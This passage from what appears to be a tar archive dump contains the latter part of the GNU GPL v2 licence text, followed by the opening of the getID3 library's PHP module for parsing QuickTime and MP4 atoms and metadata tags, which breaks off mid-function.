  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

             END OF TERMS AND CONDITIONS

        How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.quicktime.php000060400000377314150750527150023514 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.quicktime.php                            //
// module for analyzing Quicktime and MP3-in-MP4 files         //
// dependencies: module.audio.mp3.php                          //
// dependencies: module.tag.id3v2.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup

class getid3_quicktime extends getid3_handler
{

	public $ReturnAtomData        = true;
	public $ParseAllPossibleAtoms = false;

	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'quicktime';
		$info['quicktime']['hinting']    = false;
		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present

		$this->fseek($info['avdataoffset']);

		$offset      = 0;
		$atomcounter = 0;
		$atom_data_read_buffer_size = max($this->getid3->option_fread_buffer_size * 1024, ($info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : 1024)); // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB]
		while ($offset < $info['avdataend']) {
			if (!getid3_lib::intValueSupported($offset)) {
				$this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions');
				break;
			}
			$this->fseek($offset);
			$AtomHeader = $this->fread(8);

			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
			$atomname = substr($AtomHeader, 4, 4);

			// 64-bit MOV patch by jlegateØktnc*com
			if ($atomsize == 1) {
				$atomsize = getid3_lib::BigEndian2Int($this->fread(8));
			}

			$info['quicktime'][$atomname]['name']   = $atomname;
			$info['quicktime'][$atomname]['size']   = $atomsize;
			$info['quicktime'][$atomname]['offset'] = $offset;

			if (($offset + $atomsize) > $info['avdataend']) {
				$this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)');
				return false;
			}

			if ($atomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				break;
			}
			$atomHierarchy = array();
			$info['quicktime'][$atomname] = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);

			$offset += $atomsize;
			$atomcounter++;
		}

		if (!empty($info['avdataend_tmp'])) {
			// this value is assigned to a temp value and then erased because
			// otherwise any atoms beyond the 'mdat' atom would not get parsed
			$info['avdataend'] = $info['avdataend_tmp'];
			unset($info['avdataend_tmp']);
		}

		if (!empty($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) {
			$durations = $this->quicktime_time_to_sample_table($info);
			for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) {
				$bookmark = array();
				$bookmark['title'] = $info['quicktime']['comments']['chapters'][$i];
				if (isset($durations[$i])) {
					$bookmark['duration_sample'] = $durations[$i]['sample_duration'];
					if ($i > 0) {
						$bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample'];
					} else {
						$bookmark['start_sample'] = 0;
					}
					if ($time_scale = $this->quicktime_bookmark_time_scale($info)) {
						$bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale;
						$bookmark['start_seconds']    = $bookmark['start_sample']    / $time_scale;
					}
				}
				$info['quicktime']['bookmarks'][] = $bookmark;
			}
		}

		if (isset($info['quicktime']['temp_meta_key_names'])) {
			unset($info['quicktime']['temp_meta_key_names']);
		}

		if (!empty($info['quicktime']['comments']['location.ISO6709'])) {
			// https://en.wikipedia.org/wiki/ISO_6709
			foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) {
				$latitude  = false;
				$longitude = false;
				$altitude  = false;
				if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) {
					@list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches;

					if (strlen($lat_deg) == 2) {        // [+-]DD.D
						$latitude = floatval(ltrim($lat_deg, '0').$lat_deg_dec);
					} elseif (strlen($lat_deg) == 4) {  // [+-]DDMM.M
						$latitude = floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec / 60);
					} elseif (strlen($lat_deg) == 6) {  // [+-]DDMMSS.S
						$latitude = floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec / 3600);
					}

					if (strlen($lon_deg) == 3) {        // [+-]DDD.D
						$longitude = floatval(ltrim($lon_deg, '0').$lon_deg_dec);
					} elseif (strlen($lon_deg) == 5) {  // [+-]DDDMM.M
						$longitude = floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec / 60);
					} elseif (strlen($lon_deg) == 7) {  // [+-]DDDMMSS.S
						$longitude = floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec / 3600);
					}

					if (strlen($alt_deg) == 3) {        // [+-]DDD.D
						$altitude = floatval(ltrim($alt_deg, '0').$alt_deg_dec);
					} elseif (strlen($alt_deg) == 5) {  // [+-]DDDMM.M
						$altitude = floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec / 60);
					} elseif (strlen($alt_deg) == 7) {  // [+-]DDDMMSS.S
						$altitude = floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec / 3600);
					}

					if ($latitude !== false) {
						$info['quicktime']['comments']['gps_latitude'][]  = (($lat_sign == '-') ? -1 : 1) * floatval($latitude);
					}
					if ($longitude !== false) {
						$info['quicktime']['comments']['gps_longitude'][] = (($lon_sign == '-') ? -1 : 1) * floatval($longitude);
					}
					if ($altitude !== false) {
						$info['quicktime']['comments']['gps_altitude'][]  = (($alt_sign == '-') ? -1 : 1) * floatval($altitude);
					}
				}
				if ($latitude === false) {
					$this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug');
				}
				break;
			}
		}

		if (!isset($info['bitrate']) && isset($info['playtime_seconds'])) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
			$info['audio']['bitrate'] = $info['bitrate'];
		}
		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
				$samples_per_second = $samples_count / $info['playtime_seconds'];
				if ($samples_per_second > 240) {
					// has to be audio samples
				} else {
					$info['video']['frame_rate'] = $samples_per_second;
					break;
				}
			}
		}
		if ($info['audio']['dataformat'] == 'mp4') {
			$info['fileformat'] = 'mp4';
			if (empty($info['video']['resolution_x'])) {
				$info['mime_type']  = 'audio/mp4';
				unset($info['video']['dataformat']);
			} else {
				$info['mime_type']  = 'video/mp4';
			}
		}

		if (!$this->ReturnAtomData) {
			unset($info['quicktime']['moov']);
		}

		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
			$info['audio']['dataformat'] = 'quicktime';
		}
		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
			$info['video']['dataformat'] = 'quicktime';
		}

		return true;
	}

	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
		// https://code.google.com/p/mp4v2/wiki/iTunesMetadata

		$info = &$this->getid3->info;

		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see http://www.getid3.org/phpBB3/viewtopic.php?t=1717
		array_push($atomHierarchy, $atomname);
		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
		$atom_structure['name']      = $atomname;
		$atom_structure['size']      = $atomsize;
		$atom_structure['offset']    = $baseoffset;
		switch ($atomname) {
			case 'moov': // MOVie container atom
			case 'trak': // TRAcK container atom
			case 'clip': // CLIPping container atom
			case 'matt': // track MATTe container atom
			case 'edts': // EDiTS container atom
			case 'tref': // Track REFerence container atom
			case 'mdia': // MeDIA container atom
			case 'minf': // Media INFormation container atom
			case 'dinf': // Data INFormation container atom
			case 'udta': // User DaTA container atom
			case 'cmov': // Compressed MOVie container atom
			case 'rmra': // Reference Movie Record Atom
			case 'rmda': // Reference Movie Descriptor Atom
			case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				break;

			case 'ilst': // Item LiST container atom
				if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
					// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
					$allnumericnames = true;
					foreach ($atom_structure['subatoms'] as $subatomarray) {
						if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
							$allnumericnames = false;
							break;
						}
					}
					if ($allnumericnames) {
						$newData = array();
						foreach ($atom_structure['subatoms'] as $subatomarray) {
							foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
								unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
								$newData[$subatomarray['name']] = $newData_subatomarray;
								break;
							}
						}
						$atom_structure['data'] = $newData;
						unset($atom_structure['subatoms']);
					}
				}
				break;

			case "\x00\x00\x00\x01":
			case "\x00\x00\x00\x02":
			case "\x00\x00\x00\x03":
			case "\x00\x00\x00\x04":
			case "\x00\x00\x00\x05":
				$atomname = getid3_lib::BigEndian2Int($atomname);
				$atom_structure['name'] = $atomname;
				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				break;

			case 'stbl': // Sample TaBLe container atom
				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				$isVideo = false;
				$framerate  = 0;
				$framecount = 0;
				foreach ($atom_structure['subatoms'] as $key => $value_array) {
					if (isset($value_array['sample_description_table'])) {
						foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
							if (isset($value_array2['data_format'])) {
								switch ($value_array2['data_format']) {
									case 'avc1':
									case 'mp4v':
										// video data
										$isVideo = true;
										break;
									case 'mp4a':
										// audio data
										break;
								}
							}
						}
					} elseif (isset($value_array['time_to_sample_table'])) {
						foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
							if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0)) {
								$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
								$framecount = $value_array2['sample_count'];
							}
						}
					}
				}
				if ($isVideo && $framerate) {
					$info['quicktime']['video']['frame_rate'] = $framerate;
					$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
				}
				if ($isVideo && $framecount) {
					$info['quicktime']['video']['frame_count'] = $framecount;
				}
				break;


			case "\xA9".'alb': // ALBum
			case "\xA9".'ART': //
			case "\xA9".'art': // ARTist
			case "\xA9".'aut': //
			case "\xA9".'cmt': // CoMmenT
			case "\xA9".'com': // COMposer
			case "\xA9".'cpy': //
			case "\xA9".'day': // content created year
			case "\xA9".'dir': //
			case "\xA9".'ed1': //
			case "\xA9".'ed2': //
			case "\xA9".'ed3': //
			case "\xA9".'ed4': //
			case "\xA9".'ed5': //
			case "\xA9".'ed6': //
			case "\xA9".'ed7': //
			case "\xA9".'ed8': //
			case "\xA9".'ed9': //
			case "\xA9".'enc': //
			case "\xA9".'fmt': //
			case "\xA9".'gen': // GENre
			case "\xA9".'grp': // GRouPing
			case "\xA9".'hst': //
			case "\xA9".'inf': //
			case "\xA9".'lyr': // LYRics
			case "\xA9".'mak': //
			case "\xA9".'mod': //
			case "\xA9".'nam': // full NAMe
			case "\xA9".'ope': //
			case "\xA9".'PRD': //
			case "\xA9".'prf': //
			case "\xA9".'req': //
			case "\xA9".'src': //
			case "\xA9".'swr': //
			case "\xA9".'too': // encoder
			case "\xA9".'trk': // TRacK
			case "\xA9".'url': //
			case "\xA9".'wrn': //
			case "\xA9".'wrt': // WRiTer
			case '----': // itunes specific
			case 'aART': // Album ARTist
			case 'akID': // iTunes store account type
			case 'apID': // Purchase Account
			case 'atID': //
			case 'catg': // CaTeGory
			case 'cmID': //
			case 'cnID': //
			case 'covr': // COVeR artwork
			case 'cpil': // ComPILation
			case 'cprt': // CoPyRighT
			case 'desc': // DESCription
			case 'disk': // DISK number
			case 'egid': // Episode Global ID
			case 'geID': //
			case 'gnre': // GeNRE
			case 'hdvd': // HD ViDeo
			case 'keyw': // KEYWord
			case 'ldes': // Long DEScription
			case 'pcst': // PodCaST
			case 'pgap': // GAPless Playback
			case 'plID': //
			case 'purd': // PURchase Date
			case 'purl': // Podcast URL
			case 'rati': //
			case 'rndu': //
			case 'rpdu': //
			case 'rtng': // RaTiNG
			case 'sfID': // iTunes store country
			case 'soaa': // SOrt Album Artist
			case 'soal': // SOrt ALbum
			case 'soar': // SOrt ARtist
			case 'soco': // SOrt COmposer
			case 'sonm': // SOrt NaMe
			case 'sosn': // SOrt Show Name
			case 'stik': //
			case 'tmpo': // TeMPO (BPM)
			case 'trkn': // TRacK Number
			case 'tven': // tvEpisodeID
			case 'tves': // TV EpiSode
			case 'tvnn': // TV Network Name
			case 'tvsh': // TV SHow Name
			case 'tvsn': // TV SeasoN
				if ($atom_parent == 'udta') {
					// User data atom handler
					$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
					$atom_structure['data']        =                           substr($atom_data, 4);

					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
				} else {
					// Apple item list box atom handler
					$atomoffset = 0;
					if (substr($atom_data, 2, 2) == "\x10\xB5") {
						// not sure what it means, but observed on iPhone4 data.
						// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
						while ($atomoffset < strlen($atom_data)) {
							$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
							$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
							$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
							if ($boxsmallsize <= 1) {
								$this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
								$atom_structure['data'] = null;
								$atomoffset = strlen($atom_data);
								break;
							}
							switch ($boxsmalltype) {
								case "\x10\xB5":
									$atom_structure['data'] = $boxsmalldata;
									break;
								default:
									$this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset);
									$atom_structure['data'] = $atom_data;
									break;
							}
							$atomoffset += (4 + $boxsmallsize);
						}
					} else {
						while ($atomoffset < strlen($atom_data)) {
							$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
							$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
							$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
							if ($boxsize <= 1) {
								$this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
								$atom_structure['data'] = null;
								$atomoffset = strlen($atom_data);
								break;
							}
							$atomoffset += $boxsize;

							switch ($boxtype) {
								case 'mean':
								case 'name':
									$atom_structure[$boxtype] = substr($boxdata, 4);
									break;

								case 'data':
									$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
									$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
									switch ($atom_structure['flags_raw']) {
										case  0: // data flag
										case 21: // tmpo/cpil flag
											switch ($atomname) {
												case 'cpil':
												case 'hdvd':
												case 'pcst':
												case 'pgap':
													// 8-bit integer (boolean)
													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
													break;

												case 'tmpo':
													// 16-bit integer
													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
													break;

												case 'disk':
												case 'trkn':
													// binary
													$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
													$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
													$atom_structure['data']  = empty($num) ? '' : $num;
													$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
													break;

												case 'gnre':
													// enum
													$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
													$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
													break;

												case 'rtng':
													// 8-bit integer
													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
													$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
													break;

												case 'stik':
													// 8-bit integer (enum)
													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
													$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
													break;

												case 'sfID':
													// 32-bit integer
													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
													$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
													break;

												case 'egid':
												case 'purl':
													$atom_structure['data'] = substr($boxdata, 8);
													break;

												case 'plID':
													// 64-bit integer
													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8));
													break;

												case 'covr':
													$atom_structure['data'] = substr($boxdata, 8);
													// not a foolproof check, but better than nothing
													if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/jpeg';
													} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/png';
													} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
														$atom_structure['image_mime'] = 'image/gif';
													}
													break;

												case 'atID':
												case 'cnID':
												case 'geID':
												case 'tves':
												case 'tvsn':
												default:
													// 32-bit integer
													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
											}
											break;

										case  1: // text flag
										case 13: // image flag
										default:
											$atom_structure['data'] = substr($boxdata, 8);
											if ($atomname == 'covr') {
												// not a foolproof check, but better than nothing
												if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
													$atom_structure['image_mime'] = 'image/jpeg';
												} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
													$atom_structure['image_mime'] = 'image/png';
												} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
													$atom_structure['image_mime'] = 'image/gif';
												}
											}
											break;

									}
									break;

								default:
									$this->warning('Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset);
									$atom_structure['data'] = $atom_data;

							}
						}
					}
				}
				$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
				break;


			case 'play': // auto-PLAY atom
				$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));

				$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
				break;


			case 'WLOC': // Window LOCation atom
				$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
				$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
				break;


			case 'LOOP': // LOOPing atom
			case 'SelO': // play SELection Only atom
			case 'AllF': // play ALL Frames atom
				$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
				break;


			case 'name': //
			case 'MCPS': // Media Cleaner PRo
			case '@PRM': // adobe PReMiere version
			case '@PRQ': // adobe PRemiere Quicktime version
				$atom_structure['data'] = $atom_data;
				break;


			case 'cmvd': // Compressed MooV Data atom
				// Code by ubergeekØubergeek*tv based on information from
				// http://developer.apple.com/quicktime/icefloe/dispatch012.html
